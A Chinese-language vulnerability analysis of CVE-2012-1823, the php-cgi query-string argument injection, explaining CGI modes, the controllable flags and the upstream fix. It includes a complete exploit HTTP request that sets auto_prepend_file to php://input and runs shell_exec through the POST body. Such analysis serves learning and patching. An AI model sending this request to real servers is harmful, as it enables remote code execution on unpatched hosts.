您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何進行CVE-2012-1823的漏洞分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
全稱是“通用網關接口”(Common Gateway Interface), 它可以讓一個客戶端,從網頁瀏覽器向執行在Web服務器上的程序請求數據,描述的是客戶端和這個程序之間傳輸數據的一種標準,另外CGI獨立于任何語言,所以可以用任何一種語言編寫,只要這種語言具有標準輸入、輸出和環境變量。如php,perl,tcl等。
CGI針對每個用戶請求都要開單獨的子進程去維護,所以數量多的時候會出現性能問題,最近幾年很少用。
CGI的升級版本,FastCGI 像是一個常駐 (long-live) 型的 CGI,它可以一直執行著,只要激活后,不會每次都要花費時間去解析php.ini、重新載入全部dll擴展并重初始化全部數據結構。
PHP使用PHP-FPM(FastCGI Process Manager),全稱PHP FastCGI進程管理器進行管理。
PHP-CLI是PHP Command Line Interface的簡稱,就是PHP在命令行運行的接口,區別于在Web服務器上運行的PHP環境(PHP-CGI等)。
在php-cli模式下我們可以直接啟動一個php文件并執行,就像workerman中一樣
這種方式一般是針對apache而言的,它是把php作為apache的一個子模塊來運行。
漏洞影響版本 php < 5.3.12 or php < 5.4.2
CVE-2012-1823是在php-cgi運行模式下出現的漏洞,其漏洞只出現在以cgi模式運行的php中。
這個漏洞簡單來說,就是用戶請求的querystring(querystring字面上的意思就是查詢字符串,一般是對http請求所帶的數據進行解析,這里也是只http請求中所帶的數據)被作為了php-cgi的參數,最終導致了一系列結果。
RFC3875中規定,當querystring中不包含沒有解碼的=
號的情況下,要將querystring作為cgi的參數傳入。所以Apache服務器按要求實現了這個功能。但PHP并沒有注意到RFC的這一個規則,也許是曾經注意并處理了,處理方法就是web上下文中不允許傳入參數。但開發者是為了方便使用類似#!/usr/local/bin/php-cgi -d include_path=/path
的寫法來進行測試,認為不應該限制php-cgi接受命令行參數,而且這個功能不和其他代碼有任何沖突。
于是,源程序中的if(!cgi) getopt(...)
被刪掉了。
根據RFC中對于command line的說明,命令行參數不光可以通過#!/usr/local/bin/php-cgi -d include_path=/path
的方式傳入php-cgi,更可以通過querystring的方式傳入。
cgi模式下有如下可控命令行參數可用:
-c
指定php.ini文件(PHP的配置文件)的位置
-n
不要加載php.ini文件
-d
指定配置項
-b
啟動fastcgi進程
-s
顯示文件源碼
-T
執行指定次該文件
-h
和-?
顯示幫助
那么最簡單的利用方式就是-s
可以直接顯示源碼(這里是自己搭建的環境):
一個更好的利用方法是通過使用-d
指定auto_prepend_file
來制造任意文件包含漏洞,執行任意代碼:
其原理是:利用可控命令行參數 -d
將allow_url_include
得值設為 on
并使用 auto_prepend_file
函數在頁面頂部加載文件,而構造加載的文件為 php://input
讀取的原始POST數據(也就是傳輸的數據 <?php echo shell_exec("ls");?>
的執行結果),并傳遞到回應包里。(其中用“+”代替了“空格”,并將“=”和“:”進行了URL編碼)構造請求頭如下:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 30
<?php echo shell_exec("ls");?>
在burp中構造執行的結果如下:
修復原理是:獲取querystring后進行解碼,先跳過所有空白符(小于等于空格的所有字符),再判斷第一個字符是否是-
。如果第一個字符是-
則設置skip_getopt,也就是不要獲取命令行參數。修復源碼如下
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
看完上述內容,你們對如何進行CVE-2012-1823的漏洞分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。